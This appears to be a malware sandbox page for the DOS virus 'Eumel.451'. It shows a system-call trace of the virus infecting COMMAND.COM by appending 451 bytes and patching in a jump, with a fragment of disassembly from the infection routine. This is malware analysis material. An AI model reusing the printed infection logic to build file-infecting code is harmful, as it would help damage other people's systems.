Sample viewer

vx.netlux.org/Virus.DOS.Eumel.451

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:05:22.311272464Z 53 PC: 12a7c | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:05:22.317936006Z 37 PC: 12a90 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:05:22.319591079Z 47 PC: 12a96 | Get disk transfer address
2018-12-17T23:05:22.321189739Z 26 PC: 12aa8 | Set disk transfer address
2018-12-17T23:05:22.323344361Z 25 PC: 12aac | Get default drive
2018-12-17T23:05:22.324905093Z 14 PC: 12ab6 | Set default drive (Drive = 'C')
2018-12-17T23:05:22.327465434Z 78 PC: 12ac3 | Find first file
2018-12-17T23:05:22.333738136Z 67 PC: 12aeb | Get or set file attributes
2018-12-17T23:05:22.339831955Z 67 PC: 12af8 | Get or set file attributes
2018-12-17T23:05:23.359328745Z 61 PC: 12b00 | Open file (Filename = 'COMMAND.COM')
2018-12-17T23:05:23.366237345Z 87 PC: 12b07 | Get or set file date and time
2018-12-17T23:05:23.368739038Z 44 PC: 12b15 | Get time 0x12b15: or dl, dl
0x12b17: je 0x12b11
0x12b19: mov byte ptr [bp + 0x1bf], dl
0x12b1d: mov ah, 0x3f
0x12b1f: lea dx, word ptr [bp + 0x18c]
0x12b23: mov cx, 3
0x12b26: int 0x21
0x12b28: xor ah, ah
0x12b2a: mov ax, 0x4202
0x12b2d: xor cx, cx
0x12b2f: xor dx, dx
0x12b31: int 0x21
0x12b33: sub ax, 3
0x12b36: mov word ptr cs:[0xfb2d], ax
0x12b3a: mov byte ptr cs:[0xfb2c], 0xe9
0x12b40: lea si, word ptr [bp - 3]
0x12b43: mov di, 0xfcbc
0x12b46: mov cx, 0x1c3
0x12b49: cld
0x12b4a: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T23:05:23.371831998Z 63 PC: 12b28 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:05:23.375016733Z 66 PC: 12b33 | Move file pointer
2018-12-17T23:05:23.378358957Z 64 PC: 12b5f | Write file or device (Write 451 bytes on handle 5)
2018-12-17T23:05:23.392321359Z 66 PC: 12b68 | Move file pointer
2018-12-17T23:05:23.39438678Z 64 PC: 12b75 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:05:23.399001182Z 87 PC: 12b8c | Get or set file date and time
2018-12-17T23:05:23.401435818Z 62 PC: 12b90 | Close file
2018-12-17T23:05:23.409678779Z 67 PC: 12b9d | Get or set file attributes
2018-12-17T23:05:23.4202495Z 62 PC: 12adf | Close file
2018-12-17T23:05:23.422618041Z 79 PC: 12ac3 | Find next file
2018-12-17T23:05:23.425645689Z 37 PC: 12bb0 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:05:23.427211188Z 26 PC: 12bc0 | Set disk transfer address
2018-12-17T23:05:23.429833161Z 14 PC: 12bca | Set default drive (Drive = 'A')